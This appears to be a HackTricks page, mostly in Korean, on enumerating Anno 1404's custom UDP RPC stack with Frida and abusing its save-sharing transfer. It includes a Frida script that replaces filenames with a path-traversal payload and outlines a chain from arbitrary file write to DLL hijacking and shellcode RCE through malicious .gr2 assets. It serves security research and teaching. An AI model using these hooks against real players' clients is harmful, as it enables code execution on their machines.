Custom UDP RPC Enumeration & File-Transfer Abuse

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Frida로 독점 RPC 객체 매핑

구형 멀티플레이어 타이틀들은 종종 UDP 위에 자체 개발한 RPC 스택을 내장합니다. Anno 1404: Venice에서는 NetComEngine3.dllRMC_CallMessage 디스패처를 통해 구현되어, 각 데이터그램에서 5개의 필드를 파싱합니다:

필드용도
IDRPC 동작 (16-bit)
Flags전송 속성(신뢰성, 순서)
Source호출자 객체 ID
TargetObject원격 객체 인스턴스
Method대상 클래스 내 메서드 인덱스

두 개의 헬퍼 함수 – ClassToMethodName()TargetName() – 는 원시 ID를 로깅용 사람이 읽을 수 있는 문자열로 변환합니다. 24‑bit 객체 ID와 16‑bit 메서드 ID를 브루트포싱하고 해당 헬퍼들을 호출함으로써 트래픽 캡처나 symbol leaks 없이 원격으로 도달 가능한 전체 표면을 열거할 수 있습니다.

Frida surface enumerator (trimmed) ```javascript 'use strict';

const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

`frida -l explore-surface.js Addon.exe`를 실행하면 완전한 RPC 맵이 출력되었고, 여기에는 `Player` 객체 (`0x7400000`)와 파일 전송 동사인 `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, `OnCancelSendFile`가 포함되어 있었다. 내부 리플렉션 헬퍼를 노출하는 모든 바이너리 프로토콜에 동일한 워크플로가 적용된다: 디스패처를 가로채고, ID를 브루트포스하며, 엔진이 이미 각 호출 가능한 메서드에 대해 알고 있는 내용을 기록하라.

### 팁

- 엔진의 자체 로깅 버퍼(`WString::Format` in this case)를 사용하여 문서화되지 않은 문자열 인코딩을 재구현하는 일을 피하라.
- `Flags`를 덤프하여 신뢰성 기능(ACK, resend requests)을 식별하라; 커스텀 UDP 스택은 종종 잘못된 패킷을 조용히 버린다.
- 열거된 맵을 저장하라 – 이는 fuzzing corpus로 사용되며 어떤 객체가 파일시스템, world state, 또는 in-game scripting을 조작하는지 분명히 보여준다.

## Subverting file-transfer RPCs

멀티플레이어 저장 동기화는 두 패킷 핸드셰이크를 사용했다:

1. `OnSendFileInit` — 클라이언트가 수신된 페이로드를 저장할 때 사용할 UTF‑16 파일명을 전달한다.
2. `OnSendFileData` — 고정 크기 청크로 원시 파일 내용을 스트리밍한다.

서버가 전송 직전에 `ByteStreamWriteString()`으로 파일명을 직렬화하기 때문에, Frida 훅은 패킷 크기를 그대로 유지하면서 포인터를 traversal payload로 교체할 수 있다.

<details>
<summary>파일명 교체기</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});

피해자 클라이언트는 전혀 검증을 수행하지 않았고 수신한 세이브를 악성 호스트가 제공한 경로에 그대로 기록했습니다. 예: 의도된 ...\Savegames\MPShare 트리 대신 C:\User\user에 떨어뜨림. Anno 1404의 Windows 설치에서는 게임 디렉터리가 모든 사용자에게 쓰기 가능하므로, 이 경로 순회는 즉시 임의 파일 쓰기 프리미티브가 됩니다:

  • Drop DLLs for classic search-order hijacking on next launch, or
  • Overwrite asset archives (RDA files) so that weaponized models, textures, or scripts are loaded live during the same session.

Defending / attacking other targets

  • Look for RPC verbs named SendFile, Upload, ShareSave, etc., then intercept the serialization helper responsible for filenames or target directories.
  • Even if filenames are length-checked, many stacks forget to canonicalize ..\ or mixed / vs \ sequences; brute-force all separators.
  • When the receiver stores files under the game install path, check ACLs via icacls to confirm whether an unprivileged user can drop code there.

Turning path traversal into live asset execution

Once you can upload arbitrary bytes, replace any frequently loaded asset:

  1. Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with srand(0xA2C2A) seeded streams. Tools like RDAExplorer re-pack archives after edits.
  2. Inject a malicious .gr2. The trojanized Granny 3D file carries the relocation exploit that overwrites SectionContentArray and, through a two-stage relocation sequence, gains an arbitrary 4-byte write inside granny2.dll.
  3. Hijack allocator callbacks. With ASLR disabled and DEP off, replacing the malloc/free function pointers in granny2.dll redirects the next allocation to your shellcode, giving immediate RCE without waiting for the victim to restart the game.

This pattern generalises to any title that streams structured assets from binary archives: combine RPC-level traversal for delivery and unsafe relocation processing for code execution.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기